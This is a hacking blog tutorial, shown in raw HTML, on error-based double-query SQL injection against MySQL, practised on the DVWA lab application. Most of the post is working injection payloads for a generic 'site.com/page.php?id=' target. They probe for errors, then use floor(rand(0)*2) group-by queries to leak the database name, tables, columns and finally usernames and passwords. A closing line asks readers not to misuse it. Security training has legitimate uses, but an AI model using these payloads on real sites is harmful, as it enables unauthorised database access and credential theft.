Fadu Hack: XAMPP

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal">
Today we can do <b>Error Based Injection</b> for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor.</div>
<div class="MsoNormal">
</div>
<ol style="text-align: left;">
<li>concat - joisn 2 or more strings/columns</li>
<li>group by - groups the data/rows according to the values ina specific columns to do futher calcuations on the grouped data</li>
<li>floor(x.y) - returns least interger value</li>
<li>rand( [x] ) - generates random number btw 0-1, if x is given the output will be same for all x</li>
<li>as - used to give temporary name to a columns in the output of a select command</li>
<li>count(column/*) - counts the number of NON-NULL rows in a column</li>
</ol>
<h3 style="text-align: left;">
Software Used :-</h3>
<blockquote class="tr_bq" style="text-align: left;">
DVWA (Vulnerable Web application) - (<a href="http://www.dvwa.co.uk/">Click Here</a>)<br />
FireFox - (<a href="http://partners.hostgator.com/c/147763/178153/3094">Click Here</a>)<br />
Hacker Bar - (<a href="https://addons.mozilla.org/en/firefox/addon/hackbar/">Click Here</a>) </blockquote>
<div class="MsoNormal">
<h3 style="text-align: left;">
ASCII Code :-</h3>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="436" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmFpxnXOgEqM8Wpx4FKMZqsDw6rFfbDv1GjQ_ijZBGlWGtxL_LB17CM0ASAYpXi0lkaNEVaENvCW-XckNx65-qWypiKO4z_orr0pqQbmjsCoK5IqC7x8-Vyilp9yhO2U6TN3fuBwPXilz9/s640/asciifull.gif" width="640" /></div>
<div>
<br /></div>
We can Do <b>MySQL - > double/stacked/sub query</b></div>
<div class="MsoNormal">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: center;">
<span style="color: red;"><b>NOTE</b></span></div>
<div class="MsoNormal" style="text-align: center;">
<b>*** Base Query FOR double query injection***</b></div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2), 0x3a3a, (<any SQL query here>)) a from information_schema.tables group by a)b)</blockquote>
<h4 style="text-align: left;">
<b>Steps :-></b></h4>
<div>
<div class="MsoNormal">
Step 1: find dynamic page</div>
<blockquote class="tr_bq">
site.com/page.php?news=89</blockquote>
<div class="MsoNormal">
Step 2: apply ' to check if wesite gives MySQL error</div>
<blockquote class="tr_bq">
site.com/page.php?news=89' </blockquote>
<div class="MsoNormal">
You must see an error like:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
You have an error in you SQL syntax, check the manual that corresponds... MySQL ......</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 3: find the injection type</div>
<blockquote class="tr_bq">
ssite.com/page.php?news=89'--+</blockquote>
<div class="MsoNormal">
</div>
<ul style="text-align: left;">
<li>if page opens normally then injection type is string</li>
<li>if not try removing '</li>
<li>site.com/page.php?news=89--+</li>
<li>if works now then injection type is integer</li>
<li>if still dose not then try ", "), ') etc</li>
<li>if none works, try another link</li>
</ul>
Step 4: get the name of the database</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (database())) a from information_schema.tables
group by a)b)</blockquote>
<div class="MsoNormal">
<v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
 <v:stroke joinstyle="miter">
 <v:formulas>
  <v:f eqn="if lineDrawn pixelLineWidth 0">
  <v:f eqn="sum @0 1 0">
  <v:f eqn="sum 0 0 @1">
  <v:f eqn="prod @2 1 2">
  <v:f eqn="prod @3 21600 pixelWidth">
  <v:f eqn="prod @3 21600 pixelHeight">
  <v:f eqn="sum @0 0 1">
  <v:f eqn="prod @6 1 2">
  <v:f eqn="prod @7 21600 pixelWidth">
  <v:f eqn="sum @8 21600 0">
  <v:f eqn="prod @7 21600 pixelHeight">
  <v:f eqn="sum @10 21600 0">
 </v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
 <v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
 <o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="_x0000_i1025" style="height: 118.5pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled1" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeuhieZWhM3tr1fixsHpawntxoWs8D4ut8kohNy5hbrmjeOreCEK6BVdHDr6qSRzugkn9xwq9WWd0RQMyRtuURYhhdP6KCy9j4RUoU3pHSPO1jxXU1n8wrhrlCD30PPgYFMAZgPswMfigS/s640/Screenshot+%25284%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
Now you will get an error like :-</div>
<blockquote class="tr_bq">
Duplicate entry '1::<span style="color: red;">dvwa</span>' for key 'group_key'</blockquote>
<div class="MsoNormal">
in place of <span style="color: red;">dvwa</span> you will see the name of your database</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 5: get the names of the tables (assuming database name is dvwa)</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select table_name from
information_schema.tables where table_schema=database() limit 0,1)) a from
information_schema.tables group by a)b)</blockquote>
<div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP47XC2LRotUF9N3I6aqsnlUY-YIz13tUA04TqIJDYkpkoSctJsigbv_4NCWeO1gopVum7uRhgKCmpKQXoqZumoqNlOmaf2YDqhH_KlSIprbaFYCvpoakJIegqiyhsZGhFicfmAVNDdTv_/s640/Screenshot+%25285%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
this will give 1st table, for next table limit 1,1 and similarly for nth -> limit n-1,1</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<v:shape id="_x0000_i1027" style="height: 117pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled3" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image003.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
Step 6: get the columns names from the juicy table (assuming table=users) *i use ASCII value or users</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select column_name from
information_schema.columns where table_schema=database() and table_name =
char(117,115,101,114,115) limit 0,1)) a from information_schema.tables group by
a)b)</blockquote>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipBTwX6RCQNJfjy27IGEAJ140iOPPCsXQZp53_Nkmx7gYE7CbsyN_mEDKvByaRv4JoaTFOYpnGPwGdQU1pKnaa5k_oMB3613tZ1O8vOyM1B3XmknxrH0po7i0nTno1hImWPBPwb1GsGfPe/s640/Screenshot+%25286%2529.png" width="640" /></div>
for next columns limit 1,1 and similarly for nth -> limit n-1,1<br />
<br /></div>
<div class="MsoNormal">
Step 7: get the data from the juicy columns (assuming columns=user,password)</div>
<div class="MsoNormal">
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select concat(user,0x2d2d,password)
from dvwa.users limit 3,1) ) a from information_schema.tables group by a)b)</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE5qiR81L5A4HfOs646h8dmgy4fkok7iAsvDybARYNBX-E64WuWtgkVBdfR09JJy-TlLo2XeWJtZLXrtPKI7GDv6wlRdobia4nKyoGFAHexKPlUhIRVcUw2WFqz1PC3WjXBbMZ6h7fS4Fk/s640/Screenshot+%25288%2529.png" width="640" /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
If you like this post then please like our FACEBOOK page and Subscribe our YouTube Channel</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: red;">NOTE:- Please Do note use this information for bad work. </span>:)</div>
<div class="separator" style="clear: both; text-align: left;">
Thanks :) :)</div>
</div>
</div>

Error based injection With Double Query (Medium Level)

Today we can do Error Based Injection for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor. co...

Fadu Hack

Top Ad unit 728 Ã— 90

Error based injection With Double Query (Medium Level)

Buy a cup of coffee

Popular Posts

Labels

Blog Archive